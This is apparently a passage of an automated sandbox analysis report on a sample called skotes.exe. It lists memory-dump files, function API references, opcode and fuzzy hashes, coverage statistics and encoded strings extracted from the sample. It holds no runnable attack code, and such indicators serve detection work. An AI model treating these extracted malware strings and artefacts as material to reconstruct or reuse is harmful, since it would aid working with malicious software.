Associated: 00000001.00000002.1826095025.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826117041.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826139079.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826162033.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826183160.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826202403.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826231134.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826256609.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826277867.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826297535.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826321933.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826341996.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826363477.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826385357.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826408066.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826432289.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826467777.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826489404.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826578103.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826602873.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826623844.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826646381.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826666926.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826692505.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826713452.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826735107.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826756185.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: aaeb2ecd1f3921bdbf725b527bb4b50f020e603a35153608321ad392b7f4f219
Instruction ID: 8e8858656a8179b95cccdfcac2b5239f84e7007bf66fe60e426a883a20da9d65
Opcode Fuzzy Hash: aaeb2ecd1f3921bdbf725b527bb4b50f020e603a35153608321ad392b7f4f219
Instruction Fuzzy Hash: 5AA11FB0A45246AFDB21DFA5C84479AB7B8FF55311F00C62AE815D7381EB31EA05CBD2

Function 00A0CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00A0CC66

Memory Dump Source

Source File: 00000001.00000002.1825370256.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000001.00000002.1825348418.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825370256.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825432317.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825449154.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825467591.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825599886.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825622380.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825653341.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825675614.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825696124.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825717195.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825794760.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825816403.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825839982.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825861690.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825885099.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825906386.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825927572.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825949356.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825978710.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826007010.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826028435.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826052575.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826074748.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826095025.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826117041.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826139079.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826162033.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826183160.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826202403.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826231134.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826256609.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826277867.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826297535.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826321933.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826341996.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826363477.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826385357.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826408066.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826432289.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826467777.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826489404.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826578103.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826602873.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826623844.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826646381.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826666926.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826692505.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826713452.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826735107.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826756185.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 124469340639c694326a8b39252ebb809217ad669817e19aac9aaabbd3da025b
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 4DB14632D002499FEB11CF28D8917EEBBF5EF55360F14426AE855EB2C2D6388D42CB60

Function 009EBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 009EBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 009EBBE4
_xtime_get.LIBCPMT ref: 009EBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 009EBC13

Memory Dump Source

Source File: 00000001.00000002.1825370256.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000001.00000002.1825348418.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825370256.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825432317.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825449154.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825467591.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825599886.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825622380.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825653341.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825675614.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825696124.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825717195.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825794760.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825816403.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825839982.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825861690.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825885099.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825906386.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825927572.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825949356.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825978710.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826007010.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826028435.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826052575.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826074748.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826095025.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826117041.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826139079.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826162033.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826183160.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826202403.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826231134.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826256609.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826277867.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826297535.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826321933.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826341996.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826363477.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826385357.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826408066.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826432289.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826467777.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826489404.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826578103.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826602873.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826623844.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826646381.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826666926.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826692505.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826713452.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826735107.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826756185.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: a3da72e5dff52e3a4e9ffaececd4f4d5a91f3933fb772cc2eba7dc4b71bd4b88
Instruction ID: 19c3b3b8a110a30b0d9baebd642033a8cc80a48971328818fabd6a5b8ab78593
Opcode Fuzzy Hash: a3da72e5dff52e3a4e9ffaececd4f4d5a91f3933fb772cc2eba7dc4b71bd4b88
Instruction Fuzzy Hash: 512133B5900159AFDF01EFA5DC85ABFB779EF48710F110425F941B7251DB34AD029B90

Analysis Process: skotes.exePID: 1900, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	5.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1072
Total number of Limit Nodes:	81

Executed Functions

Function 009DE530 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

#, xrefs: 009E0624
WTw=, xrefs: 009E097D
MQ==, xrefs: 009DE592
GnNoc2Hc, xrefs: 009DE56C
UA==, xrefs: 009DEB0F, 009DED56
WTs=, xrefs: 009E05CA
9c9aa5, xrefs: 009DFB8E
111, xrefs: 009DF7A0
246122658369, xrefs: 009DF737, 009DFA14, 009E05E7, 009E099A
WDw=, xrefs: 009DF71D, 009DF9FA
MGE+, xrefs: 009DE821

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: a6fa54499989eb65eea3260095b8ade9c361f186bf6b9711ae90c0db80a9a9ba
Instruction ID: 0ea1840a403f46af067f8c1468a219be6eab12f8ed390655877aa5b3150f4fc2
Opcode Fuzzy Hash: a6fa54499989eb65eea3260095b8ade9c361f186bf6b9711ae90c0db80a9a9ba
Instruction Fuzzy Hash: B482F570904288DBEF15EF68C9497DEBFB6AB45304F508599E8052B3C2C7759A88CFD2

Function 009DEB4E Relevance: 30.1, APIs: 3, Strings: 13, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 009DEB51
CreateDirectoryA.KERNEL32(00000000), ref: 009DEC83
GetFileAttributesA.KERNEL32(00000000), ref: 009DED98

Strings

#, xrefs: 009E0624
mxo1L0x, xrefs: 009DEE84
UA==, xrefs: 009DEC41, 009DED56, 009DEF89, 009DF2CE
stoi argument out of range, xrefs: 009E08C4
111, xrefs: 009DF7A0
FisgLnsCZO1i, xrefs: 009DFF19
WDw=, xrefs: 009DF71D, 009DF9FA, 009DFDE3
FCQgKF==, xrefs: 009DFEE4
invalid stoi argument, xrefs: 009E08B0
WTs=, xrefs: 009E05CA
9c9aa5, xrefs: 009DFB8E
246122658369, xrefs: 009DF737, 009DFA14, 009DFE00, 009E05E7
GiQaT29tduF=, xrefs: 009DFEB6

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
